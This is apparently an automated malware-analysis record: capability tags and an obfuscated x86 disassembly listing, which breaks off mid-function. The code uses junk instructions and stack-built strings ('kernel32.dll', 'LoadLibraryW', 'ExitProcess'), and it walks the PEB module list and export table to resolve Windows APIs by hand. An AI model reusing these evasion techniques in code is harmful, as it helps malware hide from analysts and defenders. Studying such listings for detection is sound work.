Function at 0x509542
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
pop eax
mov dword [ebp - 0x3c0], eax
push eax
push ebx
add esp, 4
and eax, 0x7ff4
add eax, 0x2d9
xor eax, 0x83eb
jmp 0x5075ee
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x59d7
and edx, 0x5272
pop edx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push esi
add esi, 0x16a8b
xor esi, 0x7083
sub esi, 0xea73
pop esi
push ecx
push edx
add esp, 4
and ecx, 0x1366f
and ecx, 0x3367
jmp 0x507638
and ecx, 0x785f
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
cmp byte [ecx], al
add byte [eax], al
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ecx
and ecx, 0x55d7
jmp 0x507695
pop ecx
push edx
jmp 0x50769d
jmp 0x5076a2
pop edx
push ecx
sub ecx, 0x903a
or ecx, 0x149f5
jmp 0x5076b8
pop ecx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push edi
jmp 0x5076f4
add edi, 0x15ce2
pop edi
push esi
push ecx
add esp, 4
and esi, 0x13af8
pop esi
push edx
xor edx, 0x3797
or edx, 0x1830e
jmp 0x50771b
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edx
sub edx, 0x10eea
and edx, 0x2982
pop edx
push ebx
push eax
add esp, 4
or ebx, 0x12829
or ebx, 0x7c76
jmp 0x507772
pop ebx
push edx
push eax
add esp, 4
or edx, 0x494e
pop edx
mov dword [ebp - 0x1fa4], 0xe
push ebx
xor ebx, 0x6a23
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xef78
add ecx, 0x6b09
or ecx, 0xeef
pop ecx
push edi
push ecx
add esp, 4
add edi, 0x135c1
and edi, 0xe443
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push edx
push eax
add esp, 4
and edx, 0x3a25
and edx, 0x14fd8
pop edx
push edi
push esi
add esp, 4
sub edi, 0x1604
jmp 0x5077f5
xor edi, 0xe562
jmp 0x507801
pop edi
mov dword [ebp - 0x1fa8], 0xffffffff
push ecx
push esi
add esp, 4
jmp 0x507816
jmp 0x50781d
add ecx, 0xf034
pop ecx
push ecx
xor ecx, 0x7a67
pop ecx
push ebx
push esi
add esp, 4
and ebx, 0xe89f
or ebx, 0xc642
pop ebx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x50785b
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
jmp 0x507861
call 0x507871
add byte [esi + 0x50], cl
aaa
push eax
dec esi
inc ebp
dec edx
inc esp
add esp, 4
xor ebx, 0x10192
call 0x507889
add byte [eax + 0x46], dl
dec edx
cmp al, 0x44
inc edx
xor esi, dword [edi]
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x5078d5
push eax
push edx
add esp, 4
or eax, 0x163bb
sub eax, 0xc359
xor eax, 0xfc92
xor eax, 0x136f4
pop eax
push edx
sub edx, 0xaa8b
sub edx, 0x5dbb
xor edx, 0x3cee
pop edx
jmp 0x507b03
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ecx
push ecx
add esp, 4
or ecx, 0xccfc
pop ecx
push ebx
push edi
add esp, 4
jmp 0x507903
sub ebx, 0x149f1
pop ebx
push edx
push esi
add esp, 4
xor edx, 0x8018
jmp 0x50791c
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x507984
push edx
push ecx
add esp, 4
or edx, 0x1124f
or edx, 0xe7eb
jmp 0x50795a
sub edx, 0x1324d
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0x4deb
add ecx, 0x9de
pop ecx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x507ab5
cmp dword [ebp - 0xc08], 0
jle 0x507aa9
push ebx
call 0x5079a2
add byte [eax + 0x3f], al
inc edi
cmp cl, byte [esi + 0x4d]
xor al, 0x40
cmp byte [ebx - 0x7d], cl
les eax, [ebx + ebp*8]
add eax, 0x384a4042
inc edx
jmp 0x5079b4
sub ebx, 0x2d01
pop ebx
push ecx
add ecx, 0x27fd
pop ecx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x507a45
push ebx
and ebx, 0x1472c
pop ebx
push ebx
push eax
add esp, 4
jmp 0x5079ec
pop ebx
push eax
and eax, 0x2f84
pop eax
push eax
or eax, 0x7ca4
jmp 0x507a04
or eax, 0x15b42
pop eax
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x507a2d
mov dword [ebp - 0x14c0], 1
jmp 0x507a37
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x507aa9
push edi
push edi
add esp, 4
jmp 0x507a50
xor edi, 0x11df8
pop edi
push esi
push eax
add esp, 4
and esi, 0x10f7f
pop esi
push edi
and edi, 0x9176
sub edi, 0x17492
and edi, 0x14481
pop edi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x507984
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x507afe
push edi
sub edi, 0x14783
or edi, 0x11e14
or edi, 0x14e03
xor edi, 0x20e0
pop edi
push ebx
push edi
add esp, 4
call 0x507aec
add byte [esp + ecx*2], dh
inc edx
inc esp
dec ebp
inc eax
inc esp
inc ebp
add esp, 4
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x507b3f
jmp 0x50784c
push ebx
push ecx
add esp, 4
jmp 0x507b0e
pop ebx
push edx
push edi
add esp, 4
sub edx, 0x15d3f
or edx, 0xd453
add edx, 0x148a5
pop edx
push eax
xor eax, 0x109ac
add eax, 0xc761
pop eax
mov dword [ebp - 0x3cc], 0
push edi
sub edi, 0x100a9
or edi, 0x8a97
pop edi
push edx
push edx
add esp, 4
jmp 0x507b58
xor edx, 0xd104
call 0x507b6d
add byte [esi + esi], bh
inc ecx
aaa
dec ebp
cmp eax, 0x8338384e
les eax, [edx + ebx*2]
push ebx
push ecx
add esp, 4
call 0x507b82
add byte [ebx], bh
cmp al, byte [esp + edi + 0x44]
aas
add esp, 4
sub ebx, 0xdffb
xor ebx, 0xa5f2
call 0x507b9f
add byte [eax], bh
dec esi
aas
cmp eax, 0x404d4e3f
add esp, 4
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ecx
push edx
add esp, 4
sub ecx, 0x15545
call 0x507bd2
add byte [ebp + eax*2 + 0x45], al
push eax
dec edx
dec esi
aas
cmp dh, byte [0xeb04c483]
push es
dec ebx
cmp dword [esi + 0x3a], eax
dec eax
pop ecx
push edx
push ecx
add esp, 4
or edx, 0x132d1
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push edx
push ecx
add esp, 4
xor edx, 0xb03e
and edx, 0x7f77
or edx, 0x12e6a
sub edx, 0x10b0c
pop edx
push eax
push edi
add esp, 4
xor eax, 0x8448
pop eax
push eax
and eax, 0x17efb
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x507c43
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
or eax, 0x10a1a
xor eax, 0x11178
or eax, 0x14c34
xor eax, 0xdc37
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0xfe58
add ebx, 0xab97
xor ebx, 0x8e02
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x507cbd
push ecx
push ecx
add esp, 4
sub ecx, 0x138fd
sub ecx, 0x10277
call 0x507ca3
add byte [ebx], dh
cmp al, 0x4c
inc ebx
cmp dword [edi - 0x7d], eax
les eax, [ebx + ebp*8]
add esi, dword [ebx]
inc edi
dec esp
pop ecx
push edi
push edi
add esp, 4
xor edi, 0x1819d
pop edi
jmp 0x507eeb
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
push ecx
add esp, 4
xor eax, 0x6ac6
add eax, 0x6f87
pop eax
push edi
push ebx
add esp, 4
jmp 0x507cef
sub edi, 0x2bf7
call 0x507d01
add byte [edi + 0x35], cl
inc esp
cmp eax, 0xc483354b
add al, 0x5f
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x507d6c
push eax
push ecx
add esp, 4
sub eax, 0xb0ed
and eax, 0x70b5
and eax, 0x16459
pop eax
push edx
push ecx
add esp, 4
and edx, 0x9366
xor edx, 0x964f
pop edx
push eax
sub eax, 0xdddf
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x507e9d
cmp dword [ebp - 0xc10], 0
jle 0x507e91
push ebx
add ebx, 0x6536
pop ebx
push ecx
push ecx
add esp, 4
and ecx, 0x11037
or ecx, 0x159b6
pop ecx
push eax
push ebx
add esp, 4
add eax, 0x657c
and eax, 0x1dc6
sub eax, 0x23f9
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x507e2d
push edx
push edx
add esp, 4
call 0x507dd3
add byte [edx], dh
dec ebp
inc eax
inc eax
cmp byte [edx], bh
cmp byte [ebx + 0x515a04c4], al
and ecx, 0xfbe5
and ecx, 0x11354
pop ecx
push esi
jmp 0x507ded
jmp 0x507df2
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x507e15
mov dword [ebp - 0x14cc], 1
jmp 0x507e1f
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x507e91
push eax
push edx
add esp, 4
and eax, 0x1052d
call 0x507e48
add byte [edx + 0x3b], al
dec edi
inc esi
cmp dh, byte [edx]
dec esi
dec eax
inc edx
inc edi
add esp, 4
call 0x507e5b
add byte [esi], bh
dec edi
dec esp
inc edx
inc esp
cmp byte [edx + 0x3b], al
cmp dword [ebx - 0x74a7fb3c], eax
xchg ebp, eax
invalid
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x507ee6
push esi
jmp 0x507eb0
or esi, 0xe00a
pop esi
push eax
push ecx
add esp, 4
add eax, 0x21c0
call 0x507ece
add byte [edx + 0x42], cl
cmp al, 0x4f
inc ebp
cmp eax, dword [ebx - 0x1f7efb3c]
dec edi
loopne 0x507ed6
add byte [eax - 0x75], bl
test dword [eax], esi
sti
invalid
jmp 0x507c34
push ebx
add ebx, 0xb7b1
add ebx, 0x12683
pop ebx
push ecx
push ebx
add esp, 4
call 0x507f0d
add byte [eax + 0x38], cl
xor eax, 0x383d4e42
cmp eax, dword [eax - 0x7d]
les eax, [ecx + eax*4]
shl ecx, 0x2a
add dword [eax], eax
add ecx, 0xbee7
pop ecx
mov dword [ebp - 0xa5c], 0
push edi
jmp 0x507f2e
jmp 0x507f34
jmp 0x507f39
or edi, 0xad73
pop edi
push eax
push ecx
add esp, 4
jmp 0x507f4a
pop eax
push ebx
xor ebx, 0x1012f
sub ebx, 0x1684f
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edx
call 0x507fbd
add byte [ebx + 0x35], cl
inc ecx
dec ecx
dec esp
xor al, 0x41
push eax
aaa
add esp, 4
sub edx, 0xd059
sub edx, 0x16f9d
pop edx
push eax
call 0x507fdb
add byte [ecx], bh
dec esp
dec esp
cmp al, 0x33
dec eax
add esp, 4
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
and esi, 0xcdf
pop esi
push ecx
add ecx, 0x12352
pop ecx
push edx
or edx, 0x60d8
pop edx
push edi
sub edi, 0x10419
sub edi, 0x1650a
or edi, 0xf92f
xor edi, 0x1682b
pop edi
push edi
and edi, 0x4bc1
pop edi
push esi
jmp 0x5080b9
add esi, 0x1ff7
add esi, 0x1375c
pop esi
push eax
or eax, 0x13077
pop eax
push esi
push edx
add esp, 4
jmp 0x5080db
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
push edx
add esp, 4
xor esi, 0x17f5
jmp 0x508116
sub esi, 0x1c17
or esi, 0xf7ab
pop esi
push ebx
add ebx, 0x28d9
xor ebx, 0x5b2a
jmp 0x508135
pop ebx
cmp dword [ebp - 0x14d4], 0
jne 0x50814e
mov dword [ebp - 0x2e0], 0
jmp 0x50840a
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push ebx
add esp, 4
sub edx, 0xa11d
pop edx
push eax
push eax
add esp, 4
xor eax, 0x13e49
xor eax, 0x16291
pop eax
push edx
call 0x50818e
add byte [edi + 0x42], al
inc ecx
cmp esi, dword [edi]
cmp dword [edx + 0x35], eax
aas
add esp, 4
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x5081aa
mov dword [ebp - 0x2e0], 0
jmp 0x50840a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
or edi, 0x66b2
add edi, 0x171c8
xor edi, 0x10b38
pop edi
push ecx
and ecx, 0x476e
call 0x5081de
add byte [eax + 0x4a], cl
dec esi
cmp dword ds:[edi], esi
inc ebp
add esp, 4
add ecx, 0x13c65
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
jmp 0x50821b
sub esi, 0x3bec
or esi, 0x98ad
jmp 0x50822e
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xe430
pop ebx
push ecx
push edi
add esp, 4
sub ecx, 0x166db
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
xor edi, 0x150b0
xor edi, 0x945b
add edi, 0x136c7
pop edi
push edi
jmp 0x5082bb
sub edi, 0x3dbc
pop edi
push ecx
call 0x5082cf
add byte [edi], bh
xor al, 0x48
xor eax, 0x4c48341
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5082f6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x508359
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x508215
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x508215
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x508343
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x50834d
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x5083a2
push esi
sub esi, 0xcc54
add esi, 0x301d
pop esi
push ecx
push ebx
add esp, 4
call 0x508384
add byte [edi + 0x49], al
dec edi
cmp dword [ebp + 0x4f], ecx
inc edi
dec edi
inc esp
add esp, 4
or ecx, 0x66e3
sub ecx, 0x5de3
pop ecx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x50840a
push ebx
push ecx
add esp, 4
or ebx, 0x5841
call 0x5083ba
add byte [ebp + esi + 0x45], al
cmp al, 0x3d
dec eax
aaa
add esp, 4
xor ebx, 0x5cbb
pop ebx
push edx
jmp 0x5083cd
xor edx, 0xa07f
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x508400
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x5081b6
mov dword [ebp - 0x2e0], 0
push eax
push edx
add esp, 4
add eax, 0x1671
add eax, 0x1380
sub eax, 0xc85c
pop eax
push esi
call 0x508430
add byte [edx + 0x47], cl
inc ebp
cmp eax, 0xc4833c39
add al, 0x5e
push eax
add eax, 0xebd0
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x508d55
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
xor ebx, 0x16a7c
xor ebx, 0xeeef
pop ebx
push esi
push esi
add esp, 4
or esi, 0x234f
pop esi
push eax
push eax
add esp, 4
call 0x508510
add byte [eax + edi], bh
aas
dec ebp
cmp bh, byte [esi]
xor ecx, dword ss:[eax - 0x7d]
les eax, [eax + ebx*2]
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
add ecx, 0x12021
call 0x5085aa
add byte [edi], dh
dec esp
push eax
xor al, 0x48
cmp dword [esi], esi
add esp, 4
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0xd16a
sub ecx, 0xbf2f
pop ecx
push ebx
jmp 0x5085c7
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x5085e0
mov dword [ebp - 0x6ec], 0
jmp 0x50889c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
push esi
add esp, 4
add ecx, 0x9ed6
pop ecx
push edx
add edx, 0x1ddb
sub edx, 0xbd59
sub edx, 0x8510
pop edx
push edi
push edi
add esp, 4
and edi, 0x14653
xor edi, 0x1ddf
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x50863c
mov dword [ebp - 0x6ec], 0
jmp 0x50889c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
or edi, 0x210b
or edi, 0x13a84
add edi, 0x695b
pop edi
push eax
jmp 0x508664
jmp 0x50866d
add eax, 0x6402
xor eax, 0x17ccf
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
xor edx, 0x1749c
jmp 0x5086b6
pop edx
push ecx
push esi
add esp, 4
jmp 0x5086c3
jmp 0x5086c8
call 0x5086d5
add byte [ecx + 0x3b], al
inc edx
cmp edi, dword [esi + edi]
cmp al, 0x83
les eax, [ecx + ebx*2]
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edi
push ebx
add esp, 4
sub edi, 0xd9e
and edi, 0x165a8
xor edi, 0x4b9b
pop edi
push esi
or esi, 0x4ffa
and esi, 0x8199
and esi, 0x2b44
sub esi, 0x158db
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x508788
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x5087eb
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x5086a7
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x5086a7
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x5087d5
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x5087df
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x508834
push ebx
push ebx
add esp, 4
add ebx, 0x6047
or ebx, 0x1519a
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x97f5
pop esi
push edi
push eax
add esp, 4
or edi, 0x876
pop edi
push edx
xor edx, 0x176e1
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x50889c
push ecx
call 0x508844
add byte [esi], bh
xor eax, 0x3750353f
cmp al, 0x4e
inc ebp
add esp, 4
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0x10cf2
and esi, 0x7721
and esi, 0x3180
and esi, 0xb49b
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x508892
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x508648
mov dword [ebp - 0x6ec], 0
push edx
push esi
add esp, 4
and edx, 0x1529c
pop edx
push ebx
and ebx, 0x10e45
call 0x5088bf
add byte [edi + 0x47], al
cmp dword [ecx], edi
cmp dword [0x4e4c3732], edi
add esp, 4
jmp 0x5088c7
and ebx, 0x71d2
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x508918
push ecx
push esi
add esp, 4
sub ecx, 0x6e1
pop ecx
push eax
push edx
add esp, 4
sub eax, 0xd130
pop eax
push esi
push ecx
add esp, 4
and esi, 0x4fe0
or esi, 0x15e14
jmp 0x508908
pop esi
mov dword [ebp - 0x738], 0
jmp 0x50943f
push edi
and edi, 0x302c
add edi, 0xb091
xor edi, 0x898
pop edi
push ebx
sub ebx, 0x9deb
pop ebx
push esi
or esi, 0x9a80
add esi, 0x5f10
pop esi
push eax
add eax, 0xe048
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x508989
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508c7a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x5089b1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508c7a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x5089e3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x508c7a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x508a08
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x508c7a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x508a62
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x508c6e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x508ad2
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x508b84
mov ecx, dword [ebp - 0x180]
